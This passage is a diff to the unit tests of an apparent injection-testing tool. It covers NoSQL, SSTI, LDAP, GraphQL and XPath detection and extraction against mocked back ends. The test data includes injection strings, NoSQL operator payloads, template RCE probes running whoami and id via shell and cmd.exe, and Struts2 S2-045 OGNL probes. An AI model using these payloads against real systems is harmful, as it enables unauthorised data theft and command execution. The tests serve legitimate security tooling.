ni._fetchValue = lambda place, parameter, value: (NOMATCH if ni.NOSQL_SENTINEL in value else MATCH) names = [name for name, _ in self.DOC] values = dict(self.DOC) - def fake(place, parameter, template, payloadFor): + def fake(place, parameter, template, payloadFor, strict=False, falseModel=None): probe = payloadFor("X") # render to inspect the target expression m = re.search(r"\(u\)\[(\d+)\]", probe) # keys/ATTRIBUTES/OBJECT_NAMES(u)[i] if m: @@ -349,9 +470,11 @@ def tearDown(self): def _check(self, keysExpr, valueExpr): makePayload = lambda expr, rb: "X' OR %s =~ '^%s.*" % (expr, rb) - columns, rows = ni._enumDump("GET", "password", makePayload, keysExpr, valueExpr) + columns, rows, bound, complete = ni._enumDump("GET", "password", makePayload, keysExpr, valueExpr) self.assertEqual(columns, ["id", "username", "password", "role"]) self.assertEqual(rows, [["1", "luther", "s3cr3t", "admin"]]) + # a constraint-only enum dump is NOT proven single-record -> the dump reports itself unbound + self.assertFalse(bound) def test_cypher(self): self._check(lambda i: "keys(u)[%d]" % i, lambda n: "toString(u[%s])" % ni._propLiteral(n)) @@ -428,7 +551,11 @@ def test_unstructured_returns_none(self): def _numeric(place, parameter, value): - # numeric-context oracle: 'OR 1=1' is always-true (rows), 'AND 1=2' is false (no rows) + # numeric-context Neo4j: 'OR 1=1' is always-true (rows), 'AND 1=2' is false, PLUS the Cypher-only + # STARTS WITH prefix predicate the detector now requires to attribute Neo4j (vs plain SQL) + m = re.search(r"STARTS WITH '([^']*)'", value) + if m: + return MATCH if "ab".startswith(m.group(1)) else NOMATCH if "OR 1=1" in value: return MATCH if "AND 1=2" in value: @@ -492,7 +619,11 @@ def test_resolve_numeric_couchbase(self): def _numericAql(place, parameter, value): - # numeric-context ArangoDB: only the ||/&& family diverges (OR/AND and REGEXP_CONTAINS do not) + # numeric-context ArangoDB: the ||/&& family diverges, PLUS the AQL-only two-arg LIKE(text, search) + # function the detector now requires to attribute ArangoDB (SQL's LIKE is an operator, not a function) + m = re.search(r"LIKE\('ab', '([^%]*)%'\)", value) + if m: + return MATCH if "ab".startswith(m.group(1)) else NOMATCH return MATCH if "|| 1==1" in value else NOMATCH @@ -545,7 +676,7 @@ def test_extract(self): self.assertEqual(value, SECRET) def test_dump_binds_sibling(self): - columns, rows = ni._partiqlDump("GET", "password", "password") + columns, rows, bound, complete = ni._partiqlDump("GET", "password", "password") self.assertEqual(columns, ["password"]) self.assertEqual(rows, [[SECRET]]) @@ -613,6 +744,118 @@ def test_constraint_binds_siblings(self): self.assertIn("u.session='abc'", constraint) self.assertIn("u.username='luther'", constraint) + def test_constraint_escapes_literal_and_skips_non_identifiers(self): + # a quote/backslash in a sibling value must be escaped (not break out of the string literal), + # and a non-identifier field name must be skipped rather than alter the predicate structure + ni.conf.parameters = {ni.PLACE.GET: "q=x&name=o'brien&weird.field=v&password=p"} + ni.conf.paramDict = {ni.PLACE.GET: {"q": "x"}} + constraint = ni._constraint(ni.PLACE.GET, "q") + self.assertIn("u.name='o\\'brien'", constraint) # single quote escaped + self.assertNotIn("weird.field", constraint) # dotted (non-identifier) name skipped + self.assertIn("u.password='p'", constraint) + + +class TestNoSqlJsonRawReplace(unittest.TestCase): + """Parse-failure JSON fallback: mutate ONLY the target key's value span in a JSON-like body, never + reconstruct it with a form serializer (which would produce unrelated 'name=value&...' content).""" + + def test_double_quoted_value_replaced_in_place(self): + body = '{"name": "luther", "role": "user"}' + out = ni._jsonRawReplace(body, "name", {"$ne": None}) + self.assertEqual(out, '{"name": {"$ne": null}, "role": "user"}') + self.assertIn('"role": "user"', out) # sibling preserved verbatim + + def test_json_like_single_quotes_not_form_serialized(self): + # single-quoted -> json.loads() fails in the real flow; the span replace still works and the + # body stays JSON-shaped (no '&', no 'name=value' reconstruction) + body = "{'name': 'luther', 'active': true}" + out = ni._jsonRawReplace(body, "name", "payload") + self.assertIsNotNone(out) + self.assertIn("'active': true", out) # sibling + JS literal preserved + self.assertNotIn("&", out) + self.assertTrue(out.strip().startswith("{")) # still a JSON object, not form content + + def test_bareword_and_numeric_values(self): + self.assertEqual(ni._jsonRawReplace('{"age": 42}', "age", 7), '{"age": 7}') + self.assertEqual(ni._jsonRawReplace('{"ok": true}', "ok", "x"), '{"ok": "x"}') + + def test_missing_key_returns_none(self): + # key absent -> None so the caller SKIPS the probe rather than corrupt the body + self.assertIsNone(ni._jsonRawReplace('{"other": "v"}', "name", "x")) + + def test_key_like_text_inside_string_is_not_matched(self): + # the reviewer's reproduction: 'name: old' inside the "note" STRING must NOT be mutated - only + # the real "name" property is replaced + body = '{"note":"name: old", "name":"real"}' + out = ni._jsonRawReplace(body, "name", {"$ne": None}) + self.assertEqual(out, '{"note":"name: old", "name":{"$ne": null}}') + self.assertIn('"note":"name: old"', out) # decoy string untouched + + def test_key_like_text_inside_single_quoted_string(self): + body = "{'note':'name: trap', 'name':'real'}" + out = ni._jsonRawReplace(body, "name", "P") + self.assertIn("'note':'name: trap'", out) # decoy untouched + self.assertTrue(out.endswith('"P"}')) # real value replaced + + def test_key_like_text_inside_comment_is_not_matched(self): + body = '{/* name: not here */ "name": "real"}' + out = ni._jsonRawReplace(body, "name", "P") + self.assertIn("/* name: not here */", out) # comment untouched + self.assertIn('"name": "P"', out) + + def test_object_and_array_values_replaced_whole(self): + # an object/array as the original value must be replaced in full, not partially + self.assertEqual(ni._jsonRawReplace('{"f": {"a": 1, "b": [2, 3]}, "g": 9}', "f", "X"), + '{"f": "X", "g": 9}') + self.assertEqual(ni._jsonRawReplace('{"f": [1, {"x": "}"}, 2], "g": 9}', "f", 0), + '{"f": 0, "g": 9}') + + def test_nested_property_located_at_depth(self): + # a nested property (not top-level) is located and replaced without disturbing structure + out = ni._jsonRawReplace('{"outer": {"name": "luther"}}', "name", {"$ne": None}) + self.assertEqual(out, '{"outer": {"name": {"$ne": null}}}') + + def test_brace_inside_string_value_does_not_close_object(self): + # a '}' inside a string value must not end the value token early + out = ni._jsonRawReplace('{"a": "va}lue", "name": "x"}', "name", "P") + self.assertIn('"a": "va}lue"', out) + self.assertIn('"name": "P"', out) + + def test_brace_inside_comment_in_value_does_not_close_object(self): + # reviewer P0-2 reproduction: a '}' inside a COMMENT within an object value closed it early + out = ni._jsonRawReplace('{"f": {/* } */ "a": 1}, "g": 9}', "f", "X") + self.assertEqual(out, '{"f": "X", "g": 9}') + + def test_key_like_text_inside_regex_literal_is_not_matched(self): + # reviewer P0-2 reproduction: 'name:' inside a /regex/ literal must not be taken as the property + out = ni._jsonRawReplace('{pattern: /name: trap/, name: "real"}', "name", "P") + self.assertEqual(out, '{pattern: /name: trap/, name: "P"}') + + def test_regex_with_slash_in_char_class(self): + # a regex value containing '/' inside a [..] class and a '}' must be skipped whole + out = ni._jsonRawReplace('{"re": /[a/}]x/, "name": "y"}', "name", "P") + self.assertIn("/[a/}]x/", out) + self.assertIn('"name": "P"', out) + + def test_backtick_string_is_not_a_key(self): + # a backtick template value containing 'name:' must not be mistaken for the property + out = ni._jsonRawReplace('{"tpl": `name: ${x}`, "name": "z"}', "name", "P") + self.assertIn("`name: ${x}`", out) + self.assertIn('"name": "P"', out) + + def test_regex_value_flags_consumed(self): + # P0-6: a regex value's span must include trailing flags, else a dangling 'i' is left behind + self.assertEqual(ni._jsonRawReplace('{re: /abc/i, name: "x"}', "re", "P"), + '{re: "P", name: "x"}') + + def test_duplicate_key_at_different_depths_is_skipped(self): + # P0-6: with only the leaf key name, an ambiguous body (same key at 2 places) must be SKIPPED, + # never guessed - the payload could otherwise reach the wrong field + self.assertIsNone(ni._jsonRawReplace('{"outer":{"name":"first"},"name":"second"}', "name", "P")) + + def test_single_occurrence_still_mutates(self): + self.assertEqual(ni._jsonRawReplace('{"a":1,"name":"real"}', "name", "P"), '{"a":1,"name":"P"}') + class TestNoSqlErrorRegex(unittest.TestCase): """The heuristic regex must match real back-end error structures, not bare product names (so an @@ -660,6 +903,27 @@ def test_ignores_benign_text(self): self.assertIsNone(re.search(self.NOSQL_ERROR_REGEX, sample), "should NOT match: %s" % sample) +class TestNoSqlNoneSafety(unittest.TestCase): + """A blocked/failed request makes _send() return None; the fingerprint/error helpers must not + crash calling .lower() on it.""" + + def setUp(self): + self._f, self._fv = ni._fetch, ni._fetchValue + ni._fetch = lambda *a, **k: None + ni._fetchValue = lambda *a, **k: None + ni.conf.parameters = {"GET": "q=x"} + ni.conf.paramDict = {"GET": {"q": "x"}} + + def tearDown(self): + ni._fetch, ni._fetchValue = self._f, self._fv + + def test_nosql_failed_fingerprint_does_not_crash(self): + # None responses must not raise (was: 'NoneType' has no attribute 'lower') + self.assertIn(ni._fingerprintMongo("GET", "q"), ("CouchDB", "MongoDB", "MongoDB/CouchDB-compatible operator back-end")) + self.assertIn(ni._fingerprintLucene("GET", "q"), ("Solr", "OpenSearch", "Lucene query_string-compatible back-end")) + self.assertIsNone(ni._detectError("GET", "q")) + + if __name__ == "__main__": unittest.main() diff --git a/tests/test_ssti.py b/tests/test_ssti.py index 5ba345468ed..54c6419f1f2 100644 --- a/tests/test_ssti.py +++ b/tests/test_ssti.py @@ -145,6 +145,15 @@ def mock(place, parameter, value): page = ssti._probeError("GET", "q", engine) self.assertIsNone(page) + def test_ssti_static_engine_error_is_not_confirmation(self): + # a static template-parser error (present for every value, no arithmetic/boolean evaluation + # proof) must NOT confirm SSTI - only reflect the payload and always leak an engine name + def mock(place, parameter, value): + return "debug: jinja2.exceptions.TemplateSyntaxError (cached). you sent: " + value + ssti._send = mock + engine, evidence = ssti._fingerprint("GET", "q") + self.assertIsNone(engine) # no evaluation proof -> not a confirmed SSTI + def test_backend_from_error(self): page = "jinja2.exceptions.UndefinedError: 'foo' is undefined" backend = ssti._backendFromError(page) @@ -222,6 +231,36 @@ def mock(place, parameter, value): template = ssti._detectBoolean("GET", "q", engine) self.assertIsNone(template) + def test_true_marker_in_baseline_rejected(self): + """When the true marker ('True') is already present in the untouched baseline it is page + furniture, not our evaluated output, so its appearance cannot confirm a boolean oracle.""" + engine = ssti._ENGINE_TABLE[0] # Jinja2, trueRendered='True' + + def mock(place, parameter, value): + if "{{ True }}" in value: + return "flag=True ok" + if "{{ False }}" in value: + return "flag=True no" # diverges, but 'True' still shown + return "flag=True baseline" # 'True' already in the baseline + + ssti._send = mock + self.assertIsNone(ssti._detectBoolean("GET", "q", engine)) + + def test_error_pages_are_not_a_boolean_oracle(self): + """Two syntactically invalid true/false payloads that merely trip DIFFERENT engine error + messages diverge, but an error page is not a rendered boolean -> no oracle.""" + engine = ssti._ENGINE_TABLE[0] # Jinja2 + + def mock(place, parameter, value): + if "{{ True }}" in value: + return "jinja2.exceptions.UndefinedError: x" + if "{{ False }}" in value: + return "TemplateSyntaxError: y" + return "baseline" + + ssti._send = mock + self.assertIsNone(ssti._detectBoolean("GET", "q", engine)) + class TestFingerprint(unittest.TestCase): def setUp(self): @@ -393,6 +432,100 @@ def test_replace_segment_missing_param(self): self.assertEqual(result, "a=1&b=xx") +class TestRceProof(unittest.TestCase): + """Proof-of-execution via a DERIVED challenge: reflection (raw OR transformed) must NOT be accepted.""" + + def setUp(self): + self.original_send = ssti._send + + def tearDown(self): + ssti._send = self.original_send + + def test_derived_executed_needs_product_absent_from_request(self): + # the product proves execution: present in the page, absent from baseline + self.assertTrue(ssti._derivedExecuted("page 6772561 footer", "baseline", "6772561")) + self.assertIsNone(ssti._derivedExecuted("page without it", "baseline", "6772561")) + # product already in baseline -> not attributable + self.assertIsNone(ssti._derivedExecuted("x 6772561 x", "seen 6772561 here", "6772561")) + + def test_probe_rce_rejects_raw_reflection(self): + # an app that echoes the whole request body verbatim: the product ($((A*B)) result) is NEVER in + # the request, so it cannot appear in a reflected response -> not RCE-capable + engine = ssti._ENGINE_TABLE[0] # Jinja2 (no _FILE_RCE spec -> file path is a no-op) + ssti._send = lambda place, parameter, value: "Hello, %s!" % value # pure reflection + self.assertFalse(ssti._probeRce("GET", "q", engine)) + + def test_probe_rce_rejects_url_encoded_reflection(self): + # KEY P0-4 case: the app reflects the URL-ENCODED payload. A marker-in-payload check would pass; + # the derived product is still absent from any reflected form -> correctly NOT RCE-capable + from thirdparty.six.moves.urllib.parse import quote + engine = ssti._ENGINE_TABLE[0] + ssti._send = lambda place, parameter, value: "reflected: %s" % quote(value, safe="") + self.assertFalse(ssti._probeRce("GET", "q", engine)) + + def test_probe_rce_all_collisions_do_not_confirm(self): + # every generated product collides with the baseline -> every challenge is skipped; the loop + # must NOT fall through to success with zero executed payloads (counts confirmations, not iters) + engine = ssti._ENGINE_TABLE[0] + import lib.techniques.ssti.inject as _m + orig = _m.randomInt + try: + _m.randomInt = lambda n: 2 # product is always 4 + ssti._send = lambda place, parameter, value: "result is 4 everywhere" # baseline contains "4" + self.assertFalse(ssti._probeRce("GET", "q", engine)) + finally: + _m.randomInt = orig + + def test_probe_rce_confirms_real_execution(self): + # a backend that actually evaluates `echo $((A*B))` returns the PRODUCT as command output + engine = ssti._ENGINE_TABLE[0] + import re as _re + + def mock(place, parameter, value): + m = _re.search(r"echo \$\(\((\d+)\*(\d+)\)\)", value) + if m: + return "%d" % (int(m.group(1)) * int(m.group(2))) # shell-evaluated product + return "baseline" + + ssti._send = mock + self.assertTrue(ssti._probeRce("GET", "q", engine)) + + def test_framed_output_markers_are_reflection_proof(self): + # markers are shell-concatenated fragments: the completed 'startABstartCD' never appears in the + # request, so only genuine execution places them in the page + start, end = "aaaaaabbbbbb", "ccccccdddddd" + executed = "junk %suid=0(root) gid=0(root)%s junk" % (start, end) + self.assertEqual(ssti._framedOutput(executed, start, end), "uid=0(root) gid=0(root)") + # a response that lacks the concatenated markers (e.g. reflected 'aaaaaa bbbbbb' separated) -> None + self.assertIsNone(ssti._framedOutput("printf %s%s aaaaaa bbbbbb ...", start, end)) + + def test_probe_rce_confirms_on_windows_backend(self): + # a Windows-hosted engine evaluates `cmd /c set /a A*B` (Unix `$((...))` does nothing) - the + # derived product still proves execution, so capability detection works on Windows too + engine = ssti._ENGINE_TABLE[0] + import re as _re + + def mock(place, parameter, value): + m = _re.search(r"set /a (\d+)\*(\d+)", value) # cmd.exe set /a arithmetic + if m and "$((" not in value: + return "%d" % (int(m.group(1)) * int(m.group(2))) + return "baseline" # the Unix $(( )) family produces nothing here + + ssti._send = mock + self.assertTrue(ssti._probeRce("GET", "q", engine)) + + def test_windows_framed_builder_shape(self): + # the Windows framed command concatenates the marker fragments at runtime via `echo|set /p=` + cmd = ssti._winFramed("whoami", "SA", "SB", "EA", "EB") + self.assertIn("cmd /c", cmd) + self.assertIn("set /p=SA", cmd) + self.assertIn("set /p=SB", cmd) + self.assertIn("whoami", cmd) + # the concatenated markers 'SASB'/'EAEB' are NOT present literally (only the separate fragments) + self.assertNotIn("SASB", cmd) + self.assertNotIn("EAEB", cmd) + + class TestExecuteCommand(unittest.TestCase): def setUp(self): self.original_send = ssti._send @@ -426,9 +559,12 @@ def mock(place, parameter, value): "Should have tried the second payload after error skip") def test_all_error_pages_produce_warning(self): - """When all RCE payloads produce template errors, no success is reported. - _executeCommand sends baseline + one request per fallback payload.""" + """When all RCE payloads produce template errors, no success is reported. _executeCommand sends + a baseline, then TWO passes over the payloads: a reflection-proof boundary-marker capture pass + a framed pass PER OS family (unix + windows), and an unframed baseline-diff fallback pass (the + file-based pass sends nothing without a _FILE_RCE spec, as for Jinja2).""" engine = ssti._ENGINE_TABLE[0] + self.assertNotIn(engine.name, ssti._FILE_RCE) # guard the arithmetic below calls = [] def mock(place, parameter, value): @@ -437,9 +573,10 @@ def mock(place, parameter, value): ssti._send = mock ssti._executeCommand("GET", "q", engine, "test") - # 1 baseline + N payload attempts = N+1 calls - self.assertEqual(len(calls), len(engine.rcePayloads) + 1, - "Should have tried all payloads (baseline + one per fallback) before giving up") + # 1 baseline + (families framed + 1 unframed) passes, each over N payloads + passes = len(ssti._SHELL_FAMILIES) + 1 + self.assertEqual(len(calls), 1 + passes * len(engine.rcePayloads), + "Should have tried the framed pass per OS family then the unframed pass before giving up") class TestCommandEscaping(unittest.TestCase): @@ -642,27 +779,51 @@ def tearDown(self): def test_struts2_wired_for_file_rce(self): self.assertIn("Struts2 (OGNL)", ssti._FILE_RCE) # modern-JDK file-based fallback wired - def test_s2045_detection_marker_echo(self): + def test_s2045_detection_derived_product(self): import re - # a vulnerable Struts2 evaluates the OGNL and writes the printed marker into the response + # a vulnerable Struts2 EVALUATES the OGNL arithmetic and writes the PRODUCT (absent from the header) def mock(url, action): - m = re.search(r"#w\.print\('([a-z0-9]+)'\)", action) - return " %s " % m.group(1) if m else "" + m = re.search(r"#w\.print\((\d+)\*(\d+)\)", action) + return " %d " % (int(m.group(1)) * int(m.group(2))) if m else "" ssti._s2045Send = mock - self.assertIsNotNone(ssti._probeStruts2Header("http://target")) + self.assertTrue(ssti._probeStruts2Header("http://target")) + + def test_s2045_detection_rejects_reflected_header(self): + # KEY P0-6 case: the server REFLECTS the Content-Type header verbatim. The literal operands are + # echoed but never their product, so no reflection can satisfy the derived challenge -> not vuln + ssti._s2045Send = lambda url, action: "You sent Content-Type: %s" % action + self.assertIsNone(ssti._probeStruts2Header("http://target")) def test_s2045_not_vulnerable(self): ssti._s2045Send = lambda url, action: "ordinary Struts page, no eval" self.assertIsNone(ssti._probeStruts2Header("http://target")) - def test_s2045_command_output_sliced_from_markers(self): - # the shell echoes start/end markers around stdout; the response also carries the action HTML + def test_s2045_all_collisions_do_not_confirm(self): + # every product collides with the baseline -> no challenge is ever evaluated -> not confirmed + import lib.techniques.ssti.inject as _m + orig = _m.randomInt + try: + _m.randomInt = lambda n: 2 # product is always 4 + ssti._s2045Send = lambda url, action: "page containing 4" + self.assertIsNone(ssti._probeStruts2Header("http://target")) + finally: + _m.randomInt = orig + + def test_s2045_command_output_sliced_from_derived_markers(self): + import re + # the shell CONCATENATES the marker fragments (printf %s%s A B -> AB); the concatenation never + # appears in the header, so it can only come from execution def mock(url, action): - m = re.search(r"echo ([a-z0-9]+); .* 2>&1; echo ([a-z0-9]+)", action) + m = re.search(r"printf %s%s (\w+) (\w+); .* 2>&1; printf %s%s (\w+) (\w+)", action) if not m: return "" - start, end = m.group(1), m.group(2) + start, end = m.group(1) + m.group(2), m.group(3) + m.group(4) return "%s\nuid=0(root) gid=0(root)\n%s" % (start, end) - import re ssti._s2045Send = mock self.assertEqual(ssti._executeStruts2Header("http://target", "id"), "uid=0(root) gid=0(root)") + + def test_s2045_command_rejects_reflected_header(self): + # raw header reflection: the fragments appear separated ('printf %s%s A B'), never concatenated, + # so no start/end marker is found -> no fabricated 'output' + ssti._s2045Send = lambda url, action: "reflected: %s" % action + self.assertIsNone(ssti._executeStruts2Header("http://target", "id")) diff --git a/tests/test_techniques.py b/tests/test_techniques.py index 966354a64d2..fe7563a4436 100644 --- a/tests/test_techniques.py +++ b/tests/test_techniques.py @@ -839,11 +839,18 @@ def test_grid_renders_table(self): # header + 2 rows + 4 separators (top, under-header, ... actually 3 borders + n rows) self.assertEqual(grid.count("+----+----+"), 3) - def test_charset_excludes_metachars(self): + def test_charset_includes_metachars_escaped(self): + # filter metacharacters ARE extractable - _ldapLiteral() escapes them, so a value containing + # '*'/'('/')'/'\\' is recovered in full rather than truncated at the first one for meta in ("*", "(", ")", "\\"): - self.assertNotIn(ord(meta), ldap._CHARSET) + self.assertIn(ord(meta), ldap._CHARSET) self.assertIn(ord("a"), ldap._CHARSET) self.assertIn(ord("0"), ldap._CHARSET) + # common characters are still tried before the (rare) metacharacters + self.assertLess(ldap._CHARSET.index(ord("a")), ldap._CHARSET.index(ord("*"))) + # the escaping the extractor relies on + self.assertEqual(ldap._ldapLiteral("abc*def"), "abc\\2adef") + self.assertIn("\\28", ldap._ldapLiteral("x(y)")) def test_probe_builder_shapes(self): b = ldap._ProbeBuilder("*)") @@ -865,7 +872,7 @@ class _LdapOracleCase(unittest.TestCase): match: a payload's trailing assertion '(attr=value*' matches when the directory holds `attr` whose value starts with `value`.""" - DIRECTORY = {"uid": "admin", "mail": "bob", "cn": "Administrator"} + DIRECTORY = {"objectClass": "top", "uid": "admin", "mail": "bob", "cn": "Administrator"} def setUp(self): self._sparams = conf.get("parameters") @@ -876,6 +883,9 @@ def setUp(self): conf.parameters = {PLACE.GET: "user=admin"} conf.paramDict = {PLACE.GET: {"user": "admin"}} conf.cookieDel = None + # the boolean tests exercise the content-similarity path; null any explicit user oracle that + # an earlier test module may have left set (the engines now honor --string/--regexp globally) + conf.string = conf.notString = conf.regexp = conf.code = None directory = self.DIRECTORY @@ -911,7 +921,9 @@ def test_replace_segment(self): class TestLdapOracle(_LdapOracleCase): def _oracle(self): - return ldap._makeOracle(PLACE.GET, "user", "TRUE-CONTENT-stable-match-uid") + # _makeOracle now recalibrates its own true/false models on the winning breakout + SENTINEL + # base (matched (objectClass=*) vs (objectClass=)); pass the breakout, not a template + return ldap._makeOracle(PLACE.GET, "user", ")") def test_exists_true(self): oracle, builder = self._oracle(), ldap._ProbeBuilder(")") @@ -935,9 +947,10 @@ def test_infer_attribute_missing_none(self): def test_enumerate_entry_keys(self): oracle, builder = self._oracle(), ldap._ProbeBuilder(")") - keyAttr, values = ldap._enumerateEntryKeys(oracle, builder) + keyAttr, values, partial = ldap._enumerateEntryKeys(oracle, builder) self.assertEqual(keyAttr, "uid") self.assertEqual(values, ["admin"]) + self.assertFalse(partial) # clean end, not an inconclusive abort class TestLdapBoolean(_LdapOracleCase): @@ -1036,10 +1049,111 @@ def test_slot_value(self): # non-graphql passes through unchanged self.assertEqual(gql._slotValue("raw"), "raw") - def test_default_for_arg(self): - self.assertEqual(gql._defaultForArg({"kind": "SCALAR", "name": "Int"}, None), 0) - self.assertEqual(gql._defaultForArg({"kind": "SCALAR", "name": "String"}, None), "x") - self.assertEqual(gql._defaultForArg({"kind": "SCALAR", "name": "String"}, "given"), "given") + def _nn(self, inner): + return {"kind": "NON_NULL", "ofType": inner} + + def test_render_sibling_omits_optionals(self): + # OPTIONAL argument (not NON_NULL) with no default -> OMITTED (None), never a bogus sentinel + # that would invalidate the query and cause a false negative + self.assertIsNone(gql._renderSibling("limit", {"kind": "SCALAR", "name": "Int"}, None)) + self.assertIsNone(gql._renderSibling("active", {"kind": "SCALAR", "name": "Boolean"}, None)) + self.assertIsNone(gql._renderSibling("tags", {"kind": "LIST"}, None)) + + def test_render_sibling_required_native_syntax(self): + # REQUIRED (NON_NULL) argument with no default -> synthesize NATIVE syntax per kind + self.assertEqual(gql._renderSibling("limit", self._nn({"kind": "SCALAR", "name": "Int"}), None), "limit:0") + self.assertEqual(gql._renderSibling("q", self._nn({"kind": "SCALAR", "name": "String"}), None), 'q:"x"') + self.assertEqual(gql._renderSibling("active", self._nn({"kind": "SCALAR", "name": "Boolean"}), None), "active:false") + self.assertEqual(gql._renderSibling("ids", self._nn({"kind": "LIST", "ofType": {"kind": "SCALAR", "name": "Int"}}), None), "ids:[]") + self.assertEqual(gql._renderSibling("cfg", self._nn({"kind": "INPUT_OBJECT", "name": "Cfg"}), None), "cfg:{}") + + def test_required_nested_input_object_is_recursively_populated(self): + # SearchInput!{ filter: FilterInput!{ term: String! (req), note: String (opt) } }: a required + # nested input must populate its REQUIRED inner fields recursively, not emit a bare {} the + # server rejects; optional inner fields are omitted + gql._inputFields.clear() + gql._inputFields["SearchInput"] = [("filter", self._nn({"kind": "INPUT_OBJECT", "name": "FilterInput"}), None)] + gql._inputFields["FilterInput"] = [ + ("term", self._nn({"kind": "SCALAR", "name": "String"}), None), + ("note", {"kind": "SCALAR", "name": "String"}, None), + ] + try: + out = gql._renderSibling("input", self._nn({"kind": "INPUT_OBJECT", "name": "SearchInput"}), None) + self.assertEqual(out, 'input:{filter:{term:"x"}}') # required term populated, optional note omitted + finally: + gql._inputFields.clear() + + def test_recursive_input_cycle_is_bounded(self): + # a self-referential required input must not recurse forever - it terminates at {} + gql._inputFields.clear() + gql._inputFields["Node"] = [("child", self._nn({"kind": "INPUT_OBJECT", "name": "Node"}), None)] + try: + out = gql._renderSibling("n", self._nn({"kind": "INPUT_OBJECT", "name": "Node"}), None) + self.assertTrue(out.startswith("n:{child:")) + self.assertIn("{}", out) # cycle broken with a bare {} + finally: + gql._inputFields.clear() + + def test_render_sibling_required_enum_uses_bare_identifier(self): + gql._enumValues.clear() + gql._enumValues["Role"] = ["ADMIN", "USER"] + try: + self.assertEqual(gql._renderSibling("role", self._nn({"kind": "ENUM", "name": "Role"}), None), "role:ADMIN") + finally: + gql._enumValues.clear() + + def test_render_sibling_default_emitted_verbatim(self): + # a schema defaultValue is ALREADY a serialized GraphQL literal -> emit VERBATIM, never re-quote + self.assertEqual(gql._renderSibling("active", {"kind": "SCALAR", "name": "Boolean"}, "true"), "active:true") + self.assertEqual(gql._renderSibling("role", {"kind": "ENUM", "name": "Role"}, "ADMIN"), "role:ADMIN") + self.assertEqual(gql._renderSibling("ids", {"kind": "LIST"}, "[1, 2]"), "ids:[1, 2]") + self.assertEqual(gql._renderSibling("filter", {"kind": "INPUT_OBJECT"}, "{a: 1}"), "filter:{a: 1}") + self.assertEqual(gql._renderSibling("n", {"kind": "SCALAR", "name": "Int"}, "5"), "n:5") + self.assertEqual(gql._renderSibling("q", {"kind": "SCALAR", "name": "String"}, '"hello"'), 'q:"hello"') + + def _nnInput(self, name): + return {"kind": "NON_NULL", "ofType": {"kind": "INPUT_OBJECT", "name": name}} + + def test_deep_nested_input_slot_discovered_and_rendered(self): + # search(input: SearchInput!{ filter: FilterInput!{ credentials: Creds!{ username: String! } } }) + # the injectable leaf is input.filter.credentials.username, THREE levels deep - it must be both + # DISCOVERED as a slot and RENDERED as the full nested literal + gql._inputFields.clear() + gql._inputFields["SearchInput"] = [("filter", self._nnInput("FilterInput"), None)] + gql._inputFields["FilterInput"] = [("credentials", self._nnInput("Creds"), None)] + gql._inputFields["Creds"] = [("username", self._nn({"kind": "SCALAR", "name": "String"}), None)] + try: + slots = [] + gql._inputSlots("query", "Query", "search", + [("input", self._nnInput("SearchInput"), None)], + "input", self._nnInput("SearchInput"), + "OBJECT", "User", "{ id }", + {"SearchInput": {"kind": "INPUT_OBJECT", "name": "SearchInput", "inputFields": [{"name": "filter", "type": self._nnInput("FilterInput")}]}, + "FilterInput": {"kind": "INPUT_OBJECT", "name": "FilterInput", "inputFields": [{"name": "credentials", "type": self._nnInput("Creds")}]}, + "Creds": {"kind": "INPUT_OBJECT", "name": "Creds", "inputFields": [{"name": "username", "type": self._nn({"kind": "SCALAR", "name": "String"})}]}}, + slots) + paths = [s.targetArg for s in slots] + self.assertIn("input.filter.credentials.username", paths) + + slot = [s for s in slots if s.targetArg == "input.filter.credentials.username"][0] + q = gql._buildQuery(slot, "PWN") + self.assertIn('input: {filter:{credentials:{username:"PWN"}}}', q) + finally: + gql._inputFields.clear() + + def test_recursive_input_slot_cycle_bounded(self): + # a self-referential input object must not loop forever during slot discovery + gql._inputFields.clear() + gql._inputFields["Node"] = [("child", self._nnInput("Node"), None), ("val", self._nn({"kind": "SCALAR", "name": "String"}), None)] + try: + slots = [] + tbn = {"Node": {"kind": "INPUT_OBJECT", "name": "Node", "inputFields": [ + {"name": "child", "type": self._nnInput("Node")}, {"name": "val", "type": self._nn({"kind": "SCALAR", "name": "String"})}]}} + gql._inputSlots("mutation", "Mutation", "f", [("n", self._nnInput("Node"), None)], + "n", self._nnInput("Node"), "OBJECT", "R", "{ id }", tbn, slots) + self.assertTrue(any(s.targetArg.endswith(".val") for s in slots)) # terminates + finds a leaf + finally: + gql._inputFields.clear() # A minimal but realistic introspection schema: query user(id: String, limit: Int): User @@ -1121,7 +1235,7 @@ def test_build_query_string_arg(self): q = gql._buildQuery(self.strSlot, "x' OR '1'='1") self.assertTrue(q.startswith("{user:user(")) self.assertIn('id:"x\' OR \'1\'=\'1"', q) - self.assertIn("limit:0", q) # required-ish sibling defaulted + self.assertNotIn("limit", q) # optional sibling with no default is OMITTED (P0-2) self.assertIn("{ name uid }", q) def test_build_query_numeric_rejects_non_numeric(self): @@ -1246,7 +1360,7 @@ def test_dump_table_grid(self): "(SELECT COUNT(*) %s)" % colFrom: "2", "(SELECT %s %s %s)" % (d.columnCol, colFrom, d.paginate(d.columnCol, 0)): "id", "(SELECT %s %s %s)" % (d.columnCol, colFrom, d.paginate(d.columnCol, 1)): "name", - "(SELECT COUNT(*) FROM users)": "2", + "(SELECT COUNT(*) FROM %s)" % d.fromIdent("users"): "2", d.row(["id", "name"], "users", 0): gql.COL_SEP.join(("1", "alice")), d.row(["id", "name"], "users", 1): gql.COL_SEP.join(("2", "bob")), } diff --git a/tests/test_xpath.py b/tests/test_xpath.py index 99903382ada..e65ac126162 100644 --- a/tests/test_xpath.py +++ b/tests/test_xpath.py @@ -10,6 +10,7 @@ """ import os +import re import sys import unittest @@ -181,6 +182,11 @@ def mock(place, parameter, value): def test_detection_returns_extractable_boundary(self): def mock(place, parameter, value): + # faithful XPath engine: string-length('ab')=2 holds (XPath-only confirm the detector + # now requires), =3 does not; plus the true()/false() the break-out probes with + m = re.search(r"string-length\('ab'\)=(\d+)", value) + if m: + return '{"count":7,"entries":[{...}]}' if int(m.group(1)) == 2 else '{"count":0,"entries":[],"error":null}' if "true()" in value: return '{"count":7,"entries":[{...}]}' elif "false()" in value: @@ -218,6 +224,71 @@ def test_tree_to_table(self): self.assertGreater(len(rows), 0) +class TestExtractionCalibration(unittest.TestCase): + def test_xpath_or_boundary_calibrates_with_sentinel_base(self): + # for an OR-style boundary the extraction base is SENTINEL (not the original), and _makeOracle + # must calibrate its true()/false() models on THAT base so they match the extraction payloads + from lib.core.enums import PLACE + orBoundary = xpath.Boundary("' or ", " and '1'='1", True) + self.assertEqual(xpath._extractionBase("origvalue", orBoundary), xpath.SENTINEL) + + sent = [] 